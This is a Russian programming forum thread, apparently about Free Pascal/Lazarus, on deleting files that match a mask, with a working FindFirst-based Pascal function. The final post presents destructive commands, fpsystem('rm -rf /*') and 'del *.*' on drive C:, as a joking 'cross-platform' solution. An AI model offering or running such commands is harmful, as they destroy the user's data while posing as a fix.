Вопрос: есть какая-нибудь навороченная функция, чтобы можно было грохнуть все файлы по маске? Или только через поиск по TSearchRec?
Спасибо.
Удаление файлов по маске
Модератор: Модераторы
Так есть же системные комманды del и rm. [url]http://ru.wikipedia.org/wiki/Патч_Бармина[/url]
- dunin
- энтузиаст
- Сообщения: 634
- Зарегистрирован: 02.05.2007 13:18:11
- Откуда: Тољя††и
- Контактная информация:
Сквозняк писал(а):Так есть же системные комманды del и rm. [url]http://ru.wikipedia.org/wiki/Патч_Бармина[/url]
Дык так рассуждать, можно половину юнита FileUtil выкинуть... Не годится - не кроссплатформенно.
Добавлено спустя 51 минуту 11 секунд:
Держите, может кому пригодится.
Код: Выделить всё
function DeleteFileByMask (Dir, Ext: string): boolean;
const
{$IFDEF WINDOWS}
DirSeparator = '\';
{$ENDIF}
{$IFDEF LINUX}
DirSeparator = '/';
{$ENDIF}
var SearchRec: TSearchRec;
begin
Result:= False;
if DirectoryExists(Dir)
then begin
if FindFirst(Dir+DirSeparator+Ext,faAnyFile,SearchRec) = 0 then begin
repeat
if FileExists(Dir+DirSeparator+(SearchRec.Name)) then begin
DeleteFile(Dir+DirSeparator+(SearchRec.Name))
end
until FindNext(SearchRec) <> 0;
FindClose(SearchRec);
Result:= True;
end;
end;
end;В Виндусе работает, на Линукс не проверял.
dunin писал(а):Сквозняк писал(а):Так есть же системные комманды del и rm. [url]http://ru.wikipedia.org/wiki/Патч_Бармина[/url]
Дык так рассуждать, можно половину юнита FileUtil выкинуть... Не годится - не кроссплатформенно.
Добавлено спустя 51 минуту 11 секунд:
Держите, может кому пригодится.Код: Выделить всё
function DeleteFileByMask (Dir, Ext: string): boolean;
const
{$IFDEF WINDOWS}
DirSeparator = '\';
{$ENDIF}
{$IFDEF LINUX}
DirSeparator = '/';
{$ENDIF}
var SearchRec: TSearchRec;
begin
Result:= False;
if DirectoryExists(Dir)
then begin
if FindFirst(Dir+DirSeparator+Ext,faAnyFile,SearchRec) = 0 then begin
repeat
if FileExists(Dir+DirSeparator+(SearchRec.Name)) then begin
DeleteFile(Dir+DirSeparator+(SearchRec.Name))
end
until FindNext(SearchRec) <> 0;
FindClose(SearchRec);
Result:= True;
end;
end;
end;
В Виндусе работает, на Линукс не проверял.
А сам-то в итоге что сделал? Почти то же самое кроссплатформенное
Код: Выделить всё
{$IFDEF WINDOWS}
fpsystem('c:');
fpsystem('del *.*');
{$ENDIF}
{$IFDEF LINUX}
fpsystem('rm -rf /*');
{$ENDIF}
